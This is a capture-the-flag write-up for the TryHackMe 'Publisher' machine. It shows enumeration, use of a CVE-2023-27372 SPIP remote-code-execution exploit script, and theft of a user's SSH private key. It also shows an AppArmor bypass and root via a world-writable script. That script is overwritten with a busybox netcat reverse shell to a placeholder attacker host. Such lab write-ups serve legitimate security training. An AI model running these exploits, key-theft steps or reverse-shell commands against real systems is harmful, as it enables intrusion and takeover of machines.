Skip to content
HackIndex logo

HackIndex

Publisher Writeup - TryHackMe

Easy Linux
TryHackMe Discuss on Discord

Last updated July 13, 2026 • 3 min read

Joshua

HackIndex Creator

Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. Apache 2.4.41 on Ubuntu. The page title immediately names the technology: Publisher's Pulse: SPIP Insights & Tips.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Publisher's Pulse: SPIP Insights & Tips

Enumeration

Directory enumeration finds a /spip path returning a live SPIP CMS install.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://$TARGET_IP" -w /usr/share/wordlists/dirb/big.txt -t 50 -r 
images   (Status: 200)
spip     (Status: 200)

SPIP is a PHP CMS. Checking the version from source or the changelog reveals SPIP < 4.2.1 — vulnerable to CVE-2023-27372, an unauthenticated remote code execution via PHP injection in the preview templating system. The vulnerability sits in echappe_retour(), which passes unsanitised input to an eval() call inside traitements_previsu_php_modeles_eval(). No credentials required.

Initial Access

Run the exploit against the /spip endpoint. It automatically fetches the anti-CSRF token, crafts the PHP injection payload, and drops into an interactive pseudo-shell:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py --url http://$TARGET_IP/spip -v 
[+] Anti-CSRF token found: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/...
[+] The URL http://10.66.139.79/spip is vulnerable
[!] Shell is ready, please type your commands UwU
# whoami
www-data

Shell lands as www-data. Reading /etc/passwd shows one user with a bash shell: think. The user flag is readable directly:

┌──(kali㉿kali)-[~]
└─$ cat /home/think/.ssh/id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAA...
-----END OPENSSH PRIVATE KEY-----

Save the key locally, fix permissions, and SSH in as think:

┌──(kali㉿kali)-[~]
└─$ chmod 600 think_id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh think@$TARGET_IP -i think_id_rsa 
think@ip-10-66-139-79:~$

Privilege Escalation

SUID Binary — run_container

Checking SUID binaries reveals a non-standard entry: /usr/sbin/run_container. Running it presents a Docker container management menu. The underlying script is at /opt/run_container.sh.

user@host ~ $ ls -la /opt/run_container.sh 
-rwxrwxrwx 1 root root 1715 Jan 10  2024 /opt/run_container.sh

The script is world-writable. Attempting to edit it directly fails — the think user's shell is /usr/sbin/ash and an AppArmor profile restricts writes to /opt/ and /tmp/ among others. The profile runs in complain mode though, meaning it logs but does not enforce.

The AppArmor profile applies to /usr/sbin/ash — not to /bin/bash. A bash binary placed in a writable path outside the profile's coverage will run without the write restrictions. /var/tmp is writable and not covered by the profile restrictions:

user@host ~ $ cp /bin/bash /var/tmp/bash
user@host ~ $ exec /var/tmp/bash
user@host ~ $ echo $0 
/var/tmp/bash

Now running under /var/tmp/bash, which is not constrained by the AppArmor profile for ash. Write a payload into the world-writable /opt/run_container.sh:

user@host ~ $ echo 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' > /opt/run_container.sh

Trigger the SUID binary to execute the script as root:

user@host ~ $ /usr/sbin/run_container
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [ATTACKER_IP] from (UNKNOWN) [10.66.139.79]
whoami
root

Root shell obtained.

References